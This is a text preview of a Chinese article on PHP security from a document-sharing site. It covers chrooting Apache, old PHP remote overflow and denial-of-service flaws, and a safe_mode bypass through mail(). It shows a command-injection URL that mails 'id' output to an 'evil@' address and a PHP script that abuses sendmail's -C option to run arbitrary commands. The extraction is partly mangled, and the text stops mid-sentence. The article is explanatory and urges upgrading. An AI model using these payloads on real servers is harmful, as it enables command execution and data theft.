PHP安全问题:远程溢出、DoS、safe mode绕过漏洞.pdf

PHP安全问题:远程溢出、DoS、safe mode绕过漏洞.pdf

  1. 1、本文档共12页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
Web Web 一、WWeebb服务器安全 PHP 其实不过是Web 服务器的一个模块功能,所以首先要保证Web服务器的安全。当然 Web服务器要安全又必须是先保证系统安全,这样就扯远了, 无穷无尽。PHP 可以和各种 Web服务器结合,这里也只讨论Apache。非常建议以chroot 方式安装启动Apache,这样即 使Apache 和 PHP 及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系 统。但是使用chroot 的Apache后,给应用也会带来一定的麻烦,比如连接 mysql时必须用 地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。 还有mail 函数发 送邮件也是个问题,因为php.ini 里的: [mail function] ;ForWin32 only. SMTP=localhost ;ForWin32 only. sendmail_from= me@ 都是针对Win32平台,所以需要在chroot环境下调整好sendmail。 PHP PHP 二、PPHHPP 本身问题 1、远程溢出 PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流 传,成功率非常高: /0204-exploits/7350fun /misc/php3018_exp.txt 2、远程拒绝服务 PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得 本地用户权限,但是也能造成拒绝服务。 3、safe_mode绕过漏洞 还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail 函数绕过safe_mode 限制执行命令漏 洞,4.0.5版本开始mail 函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode 的 限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell 命令就可以了, 比如存在PHP 脚本evil.php: ? mail(foo@bar,foo,bar,,$bar);? 执行如下的URL: /evil.php?bar=;/usr/bin/id|mail evil@ 这将id 执行的结果发送给evil@。 对于4.0.6至4.2.2的PHP 突破safe_mode 限制其实是利用了sendmail 的-C参数,所以系统必 须是使用sendmail。如下的代码能够突破safe_mode 限制执行命令: ? # 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样 $script=/tmp/script123; $cf=/tmp/cf123; $fd= fopen($cf,w); fwrite($fd,OQ/tmp Sparse=0 R$* .chr(9).$#local $@$1 $:$1 Mlocal, P=/bin/sh,A=sh $script); fclose($fd); $fd= fopen($script,w); fwrite($fd,rm-f$script $cf;); fwrite($fd,$cmd); fclose($fd); mail(nobody, ,, ,-C$cf); ? 还是使用以上有问题版本PHP 的用户一定要及时升级到最新版本,这样才能消除基本的安 全问题。 PHP PHP 三、PPHHPP 本身的安全配置 PHP 的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess 文件(该目录必须设置了 AllowOverrideAll 或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的 函数进行设置。通过phpinfo()和 get_cfg_var()函数可以得到配置选项的各个值。 如果配置选项是唯一PHP_INI_SYSTEM 属性的,必须通过php.ini 和httpd.conf来修改,它 们修改的是PHP 的Master 值,但修改之后必须重启apache才能生效。其中php.ini 设置的 选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义 的目录下所有脚 本生效。 如果还有其他的 PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL 属性的选项就可以使 用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数

文档评论(0)

ok123soon + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档